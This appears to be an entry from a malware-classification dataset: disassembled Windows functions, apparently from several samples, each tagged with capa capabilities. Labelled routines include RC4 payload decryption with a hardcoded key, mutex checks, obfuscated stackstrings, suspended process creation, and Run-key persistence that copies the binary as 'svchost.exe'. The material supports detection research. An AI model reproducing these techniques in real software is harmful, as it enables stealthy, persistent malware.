joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4015d1
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
jmp 0x40167a
mov eax, dword [ebp - 0xc]
mov edx, 0
div dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
mov byte [ebp - 0x21], al
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
mov byte [ebp - 0x22], al
movzx eax, byte [ebp - 0x22]
xor al, byte [ebp - 0x21]
mov byte [ebp - 0x23], al
movzx eax, byte [ebp - 0x23]
mov byte [ebp - 0x11], al
movzx eax, byte [ebp - 0x11]
cmp al, byte [ebp - 0x22]
jne 0x40165d
movzx ecx, byte [ebp - 0x21]
mov eax, dword [ebp - 0x10]
mov edx, 0
div dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
movsx eax, al
cmp ecx, eax
je 0x401664
movzx eax, byte [ebp - 0x23]
mov byte [ebp - 0x11], al
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
add edx, eax
movzx eax, byte [ebp - 0x11]
mov byte [edx], al
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
jb 0x401601
nop
nop
leave
ret
Function at 0x401a49
Capabilities:
Print debug messages

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x3a24
call fcn.00402ac0
sub esp, eax
call fcn.00401bc0
lea eax, [ebp - 0x3a14]
mov edx, 0x40a06c
mov ecx, 0x3a00
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [ebp - 0x10], 0x3a00
mov dword [ebp - 0xc], 0
jmp 0x401aad
mov dword [esp], 0x40a044
mov eax, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call eax
sub esp, 4
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x8646f
jle 0x401a98
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov dword [esp], eax
call sub.msvcrt.dll_srand
call fcn.0040152c
mov dword [esp + 8], str.zxcSDHGy23jfasd
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3a14]
mov dword [esp], eax
call fcn.004015d1
lea eax, [ebp - 0x3a14]
mov dword [esp], eax
call fcn.0040168a
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401b11
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], str.Error_occurred:__d_n
call fcn.004014f0
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x401d80
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00407e70
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00407e70
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x401de0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x411068]
test esi, esi
jle 0x401f00
mov eax, dword [0x41106c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401e14
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401e97
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401e00
mov dword [esp], ebx
call fcn.004027f0
mov edi, eax
test eax, eax
je 0x401f27
mov eax, dword [0x41106c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402930
mov edx, dword [0x41106c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401f07
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401e90
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401ea0
add dword [0x411068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x41106c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401e90
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401d80
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401e1e
mov eax, dword [0x41106c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401d80
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401d80
lea esi, [esi]
nop

Function at 0x402440
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x411084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x41107c]
sub esp, 4
test ebx, ebx
je 0x402495
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40248e
test esi, esi
je 0x40248e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402470
mov dword [esp], 0x411084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4026c0
Capabilities:
Parse pe header
Terminate process

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll_exit]
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__exit]
mov eax, dword [esp + 4]
xor edx, edx
cmp word [eax], 0x5a4d
jne 0x4026f8
add eax, dword [eax + 0x3c]
cmp dword [eax], 0x4550
je 0x402700
mov eax, edx
ret
xor edx, edx
cmp word [eax + 0x18], 0x10b
sete dl
mov eax, edx
ret

Function at 0x4027f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402815
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402820
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402815
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402868
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40285e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40286a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402850
xor eax, eax
pop ebx
pop esi
ret
Function at 0x402594
Capabilities:
Terminate process

Disassembly:
test eax, eax
je 0x4025a2
call dword [0x40a004]
or eax, eax
je 0x4025a3
ret
mov al, 1
jmp fcn.00402614

Function at 0x4025ac
Capabilities:
Terminate process

Disassembly:
test eax, eax
je 0x4025ba
call dword [0x40a008]
or eax, eax
jne 0x4025bb
ret
mov al, 2
jmp fcn.00402614

Function at 0x4025c4
Capabilities:
Terminate process

Disassembly:
mov ecx, dword [eax]
test ecx, ecx
je 0x4025fc
test edx, edx
je 0x4025e6
push eax
mov eax, ecx
call dword [0x40a00c]
pop ecx
or eax, eax
je 0x4025f5
mov dword [ecx], eax
ret
mov al, 2
jmp fcn.00402614
mov dword [eax], edx
mov eax, ecx
call dword [0x40a008]
or eax, eax
jne 0x4025df
ret
mov al, 1
jmp fcn.00402614
test edx, edx
je 0x402610
push eax
mov eax, edx
call dword [0x40a004]
pop ecx
or eax, eax
je 0x4025f5
mov dword [ecx], eax
ret

Function at 0x4037b0
Capabilities:
Terminate process

Disassembly:
mov al, 0x10
jmp fcn.00402614
cmp eax, edx
je 0x403820
cmp word [eax], 8
jb 0x4037d5
push eax
push edx
cmp word [eax], 0x100
je 0x4037cb
push eax
call sub.oleaut32.dll_VariantClear
jmp 0x4037d3
add eax, 8
call fcn.00403198
pop edx
pop eax
cmp word [edx], 8
jae 0x4037ec
mov ecx, dword [edx]
mov dword [eax], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edx + 0xc]
mov dword [eax + 0xc], ecx
ret
cmp word [edx], 0x100
jne 0x40380c
mov edx, dword [edx + 8]
or edx, edx
je 0x403803
mov ecx, dword [edx - 8]
inc ecx
jle 0x403803
mov dword [edx - 8], ecx
mov word [eax], pe_nt_image_headers32
mov dword [eax + 8], edx
ret
mov word [eax], 0
push edx
push eax
call sub.oleaut32.dll_VariantCopyInd
or eax, eax
jne 0x403774
ret

Function at 0x4051a4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x4051dd
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x4051e6
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4051f0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405211
mov al, byte [esp]
jmp 0x405213
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x405948
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push dword [ebp + 8]
call fcn.00405657
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x405980
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00405692
popal
push 0x41
dec byte [ebp - 0x17af3fbb]
invalid

Function at 0x408c98
Capabilities:
Check if file exists
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, eax
mov esi, edx
dec esi
test esi, esi
jl 0x408cf5
inc esi
xor ebx, ebx
cmp ebx, 1
jne 0x408cbe
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_Sleep
jmp 0x408ccc
cmp ebx, 1
jle 0x408ccc
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep
mov eax, edi
call fcn.00403444
push eax
call sub.kernel32.dll_DeleteFileA
test eax, eax
jne 0x408cf5
call sub.kernel32.dll_GetLastError_1
cmp eax, 2
je 0x408cf5
call sub.kernel32.dll_GetLastError_1
cmp eax, 3
je 0x408cf5
inc ebx
dec esi
jne 0x408cae
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4
Function at 0x4090b4
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff88
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
lea ebx, [ebp - 0x78]
xor eax, eax
push ebp
push 0x4091a4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4091bc
push esi
push 0x4091c8
push edi
lea eax, [ebp - 8]
mov edx, 4
call fcn.00403340
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x4c], 0x44
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403444
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409138
mov al, 0x62
call fcn.00408d00
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x40914f
push ebx
call sub.user32.dll_TranslateMessage
push ebx
call sub.user32.dll_DispatchMessageA
push 1
push 0
push 0
push 0
push ebx
call sub.user32.dll_PeekMessageA
test eax, eax
jne 0x409143
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x5c]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x40914f
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4091ab
lea eax, [ebp - 8]
call fcn.00403198
ret
Function at 0x401000
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x264], 0
push ebx
push esi
push edi
lea eax, [ebp - 0x120]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, str..log
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xc]
push eax
movsw word es:[edi], word [esi]
call ebx
mov esi, eax
lea eax, [ebp - 0x120]
push eax
call ebx
lea eax, [esi + eax + 1]
push eax
call fcn.0040a769
mov esi, eax
pop ecx
mov dword [ebp - 0x26c], esi
test esi, esi
je 0x4011fa
push 0x140
lea eax, [ebp - 0x260]
push 0
push eax
call fcn.0040b7d0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x120]
push eax
push 0x419e2c
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea eax, [ebp - 0x260]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x268], eax
test byte [ebp - 0x260], 0x10
jne 0x401148
lea eax, [ebp - 0x234]
push eax
call ebx
mov esi, eax
lea eax, [ebp - 0xc]
push eax
call ebx
cmp esi, eax
jle 0x401148
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x234]
push eax
call ebx
lea esi, [ebp + eax - 0x237]
lea edi, [ebp - 0x14]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0xa]
push eax
lea eax, [ebp - 0x14]
movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
push eax
call esi
test eax, eax
jne 0x40114e
lea eax, [ebp - 0x234]
push eax
call ebx
mov edi, eax
lea eax, [ebp - 0x120]
push eax
call ebx
lea eax, [edi + eax + 1]
push eax
call fcn.0040a769
pop ecx
mov dword [ebp - 0x264], eax
test eax, eax
je 0x40114e
lea ecx, [ebp - 0x234]
push ecx
lea ecx, [ebp - 0x120]
push ecx
push 0x419e2c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x40114e
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 0x268]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x401178
cmp dword [ebp - 0x264], 0
je 0x4010ad
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
push dword [ebp - 0x268]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 0x26c]
call fcn.0040a6f4
cmp dword [ebp - 0x264], 0
pop ecx
je 0x4011fa
mov ebx, dword [ebp - 0x264]
mov edi, str._s:windows_system32_s.tmp
push edi
push ebx
call esi
test eax, eax
je 0x4011f4
push str._s:windows_syswow64_s.tmp
push ebx
call esi
test eax, eax
je 0x4011f4
push str._s:WINNT_system32_s.tmp
push ebx
call esi
test eax, eax
je 0x4011f4
push str._s:WINNT_syswow64_s.tmp
push ebx
call esi
test eax, eax
je 0x4011f4
push str.Find_Temporary_files_is__d
push ebx
call esi
test eax, eax
je 0x4011f4
push str.Show_Find_files_
push ebx
call esi
test eax, eax
je 0x4011f4
push str.cannot_open_files__s__Open_next_files__
push ebx
call esi
test eax, eax
jne 0x4011fa
mov dword [ebp - 0x264], edi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x264]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a6e5
leave
ret
Function at 0x401286
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ebx
push esi
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call fcn.00401454
mov dword [esp], str.7791C364_DE4E_4000_9E92_9CCAFDDD90DC
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4012c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4012c6
xor eax, eax
jmp 0x4012fa
call section..text
mov ebx, eax
call fcn.00401786
mov esi, eax
test ebx, ebx
je 0x4012f8
call fcn.0040120f
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, ebx
test eax, eax
je 0x4012f1
mov byte [ecx], 0
inc ecx
dec eax
jne 0x4012ea
push ebx
call fcn.0040a6f4
pop ecx
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x401302
Capabilities:
Get common file path
Get program files directory
Query environment variable

Disassembly:
push ecx
cmp byte [edi + 0x41db58], 1
jne 0x401315
mov eax, dword [edi*4 + 0x41db4c]
pop ecx
ret
push esi
xor esi, esi
test edi, edi
jne 0x401323
mov esi, 0x41dd70
jmp 0x401339
cmp edi, 1
jne 0x40132f
mov esi, 0x41dc68
jmp 0x401339
cmp edi, 2
jne 0x401339
mov esi, 0x41db60
push ebx
push ebp
mov ebp, 0x104
push ebp
push esi
push str.APPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [esp + 0xc], eax
test edi, edi
jne 0x401369
push str.Microsoft
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x401399
cmp edi, 1
jne 0x401375
push str.MicrosoftWindows
jmp 0x401360
cmp edi, 2
jne 0x401399
push esi
push ebp
call ebx
push esi
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x401399
lea eax, [eax + esi - 1]
cmp byte [eax], 0x5c
jne 0x401399
mov byte [eax], 0
cmp dword [esp + 0xc], 0
jbe 0x4013b3
mov dword [edi*4 + 0x41db4c], esi
mov byte [edi + 0x41db58], 1
jmp 0x40144d
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
push esi
test eax, eax
je 0x401416
xor eax, eax
push eax
push eax
push 0x26
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [esp + 0xc], eax
test edi, edi
jne 0x4013da
push str.Internet_Explorer
jmp 0x4013e4
cmp edi, 1
jne 0x4013ed
push str.Windows_NT
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x40140d
cmp edi, 2
jne 0x40140d
push esi
push ebp
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40140d
lea eax, [eax + esi - 1]
cmp byte [eax], 0x5c
jne 0x40140d
mov byte [eax], 0
cmp dword [esp + 0xc], 0
jne 0x40143a
jmp 0x4013a0
push ebp
call ebx
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x401432
lea eax, [eax + esi - 1]
cmp byte [eax], 0x5c
jne 0x401432
mov byte [eax], 0
test ebx, ebx
ja 0x4013a0
push 0x419e74
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [edi + 0x41db58], 0
pop ebp
pop ebx
mov eax, esi
pop esi
pop ecx
ret
Function at 0x401454
Capabilities:
Check if file exists
Delete file
Delete registry value
Get file attributes
Persist via run registry key
Read file on windows
Set registry value
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x5cc]
sub esp, 0x64c
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp + 0x5c8], eax
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea edi, [ebp + 0x598]
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
mov dword [ebp - 0x74], ebx
movsw word es:[edi], word [esi]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
lea eax, [ebp - 0x74]
push eax
push 0xf003f
lea eax, [ebp + 0x598]
push ebx
push eax
je 0x4014ab
push reloc.WS2_32.dll_bind
jmp 0x4014b0
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x401600
mov esi, 0x104
push esi
lea eax, [ebp + 0x390]
push ebx
push eax
call fcn.0040b7d0
push esi
lea eax, [ebp + 0x494]
push ebx
push eax
call fcn.0040b7d0
xor edi, edi
call fcn.00401302
push str.svchost.exe
push eax
lea eax, [ebp + 0x494]
push 0x419efc
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x28
push esi
lea eax, [ebp + 0x390]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
push 3
push ebx
push ebx
push bind
lea eax, [ebp + 0x390]
push eax
call esi
mov edi, eax
cmp edi, ebx
je 0x401600
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x494]
push eax
call esi
mov dword [ebp - 0x7c], eax
cmp eax, ebx
je 0x4015c1
push ebx
lea eax, [ebp - 0x78]
push eax
push 0x400
lea eax, [ebp - 0x70]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0x78]
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x78], ebx
ja 0x40154f
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push dword [ebp - 0x7c]
call esi
cmp byte [ebp + 0x5d4], bl
je 0x4015dc
lea eax, [ebp + 0x494]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40159d
sub eax, edx
push eax
lea eax, [ebp + 0x494]
push eax
push 1
push ebx
push str.svchost
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x4015f7
lea eax, [ebp + 0x494]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40158c
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401600
push str.svchost
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
lea eax, [ebp + 0x494]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x5c8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a6e5
add ebp, 0x5cc
leave
ret
Function at 0x4020e3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [0x41c050]
xor eax, ebp
mov dword [ebp - 8], eax
and dword [ebp - 0x11c], 0
cmp dword [ebp + 8], 0
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x118], 1
jne 0x40212d
cmp edi, 2
jbe 0x402122
mov dword [ebp - 0x11c], 0x419e74
jmp 0x40212d
call fcn.00401302
mov dword [ebp - 0x11c], eax
push 0x44
pop esi
push esi
lea eax, [ebp - 0x174]
push 0
push eax
call fcn.0040b7d0
xor eax, eax
lea edi, [ebp - 0x12c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x174], esi
xor esi, esi
add esp, 0xc
stosd dword es:[edi], eax
cmp ebx, esi
je 0x40220c
cmp dword [ebp + 8], esi
jne 0x4021c4
push dword [ebp - 0x11c]
mov esi, 0x104
push 0x41a0c8
lea eax, [ebp - 0x114]
push esi
push eax
call fcn.0040b337
mov edi, eax
add esp, 0x10
cmp edi, esi
jge 0x4021bb
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, edi
cmp eax, esi
jge 0x4021bb
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40219f
sub eax, edx
push ebx
lea eax, [ebp + eax - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor esi, esi
jmp 0x4021e0
and dword [ebp - 0x118], 0
jmp 0x40222a
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x104
jge 0x40220c
push ebx
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x174]
push eax
push dword [ebp - 0x11c]
lea eax, [ebp - 0x114]
push esi
push 8
push esi
push esi
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402214
mov dword [ebp - 0x118], esi
jmp 0x40222a
push dword [ebp - 0x12c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x128]
call esi
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x118]
pop edi
xor ecx, ebp
pop esi
call fcn.0040a6e5
leave
ret